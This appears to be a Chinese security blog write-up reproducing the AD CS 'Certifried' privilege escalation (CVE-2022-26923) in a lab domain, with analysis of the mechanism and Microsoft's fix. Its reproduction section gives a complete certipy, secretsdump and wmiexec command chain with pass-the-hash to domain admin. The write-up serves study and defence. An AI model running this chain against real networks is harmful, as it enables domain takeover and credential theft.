0x00漏洞简介
该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。现在很少有没有安装 AD CS 的大中型 Active Directory 环境,所以该漏洞危害和利用性都较强。该漏洞已作为Microsoft 2022 年 5 月安全更新的一部分进行了修补。
0x01环境配置
首先当然是需要一个简单的域环境,我这里是Windows server 2012R2(1.1.1.2)和kali2022(1.1.1.3)组成了一个简单的内网环境。因为这个漏洞基于Certificate Service, 需要 Active Directory 证书服务(AD CS),所以DC中需要安装此服务。
之后需要配置CA证书。
为了模拟在得到一个user组用户后的提权,我在DC上创建了一个已知的用户(test1 /Syclover!),之后便会使用这个用户的凭据进行提权操作。
在复现时我发现如果是用上述命令行的方式创建的用户,需要手动设置用户登录名,不然用certipy获取证书时会报错。
手动创建的用户则没有没有影响。
0x02漏洞复现
申请低权限用户证书:
certipy req chinfo.testlab/'test1:Syclover!'@DC.chinfo.testlab -ca chinfo-DC-CA -template User
用证书申请TGT,得到NTLM hash:
certipy auth -pfx test1.pfx
添加一个Machine账号,并将它的dns改为与DC相同:
certipy account create chinfo.testlab/test1:'Syclover!'@DC.chinfo.testlab -user "hacker" -dns "DC.chinfo.testlab"
获取Machine账户证书:
certipy req chinfo.testlab/'hacker$:Qv8A7bBHFtwpPhRj'@DC.chinfo.testlab -ca chinfo-DC-CA -template Machine
获取Machine账户的NTLM hash:
certipy auth -pfx dc.pfx
使用secretsdump得到admin的hash:
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'chinfo.testlab/dc$@dc.chinfo.testlab' -hashes b0d7d9976a8006c910f50030088730f8:b0d7d9976a8006c910f50030088730f8
使用wmiexec连接,提权至admin:
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2fd54b5d964ccb69be6bdb69d76fad65 ADMINISTRATOR@1.1.1.2
0x03利用性验证
使用BloodHound检测是否有Certificate Service组
收集数据:
bloodhound-python -d chinfo.testlab -u test1 -p 'Syclover!' -ns 1.1.1.2 -c all --zip
起一个neo4j,用bloodhound看看,左上角搜一下。
是有这个组的。
在确定有Certificate Service服务的条件下,在加上能访问到445和636这两个端口,即可利用这个漏洞
这两个端口的必要性将在原理分析中写出。
0x04原理分析
理论原理
本质上的原理是通过Ldap添加了一个计算机账户(machine账户),之后这个域内就相当于有两台计算机(但实际只有一台)。之后它把添加的这个计算机账户的DNShostname改成和DC一样。之后再通过这个账户去请求的时候,certipy会通过用证书进行认证的方式,这种方式不同于使用用户名和密码,它会通过DNShost来解析你映射到了哪个账户上。由于之前这个计算机账户的DNS hostname改成和DC一样了,所以就会返回DC的hash值。
这其中有几个难点:
①为什么要使用machine账户而不使用user账户?
因为使用user账户是用UPN进行解析的,若将dnshost改成和DC一样,就会报错。
若单纯只修改machine账户的dnshost,其实也会报错。因为这样SPN也会同样进行更新,但SPN是唯一的。为了不让它报错,certipy将某些SPN值解绑了,这样更新后就进行了覆盖,就不会报错了。
②两个账户的DNShostname一样了,为什么在请求的时候不会发生冲突
由于采用了证书认证的方式,所以可以很简单的区分出是哪一个,通过这种方式就绕过了。
操作原理
①首先是申请低权限用户证书
抓包看一下过程
先是TCP三次握手,之后可以看到使用的SMB,所以必须要能够访问到445端口
②然后是用证书申请TGT,得到NTLM hash
抓包看看怎么做到的
先是AS-REQ到AS-REP,申请到TGT
之后又用这个TGT去申请了一个TGS
这里应该没有用SPN去申请,应该是直接用的证书里定义的权限去申请了一个TGS,然后利用这个TGS得到了nt哈希。
③然后是添加一个Machine账号,并将它的dns改为与DC相同
抓包看看
可以看到使用的是636端口。389和636都是Ldap端口,但这次是要创建以一个账户,是要发送密码的,所以使用了带加密的636端口。
从抓到的包中也可以看到是TLS隧道。所以从抓的包中是看不到更改dns的详细过程了。
④最后就是得到Machine的hash然后利用工具解密的操作了
0x05漏洞修复
微软在5月安全更新进行了修补。方法是在新证书中引入新的对象 ID (OID) 以进一步对用户进行指纹识别。这是通过在新的( ) OID 中嵌入用户objectSid
(SID)来完成的。此外,“验证写入 DNS 主机名”权限现在只允许设置szOID_NTDS_CA_SECURITY_EXT``1.3.6.1.4.1.311.25.2``CT_FLAG_NO_SECURITY_EXTENSION``0x80000``msPKI-Enrollment-Flag``szOID_NTDS_CA_SECURITY_EXT``dNSHostName
与帐户的 SAM 帐户名称匹配的属性。但是,使用计算机帐户的通用写入权限,仍然可以创建重复dnsHostName值。
0x06参考文章
Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)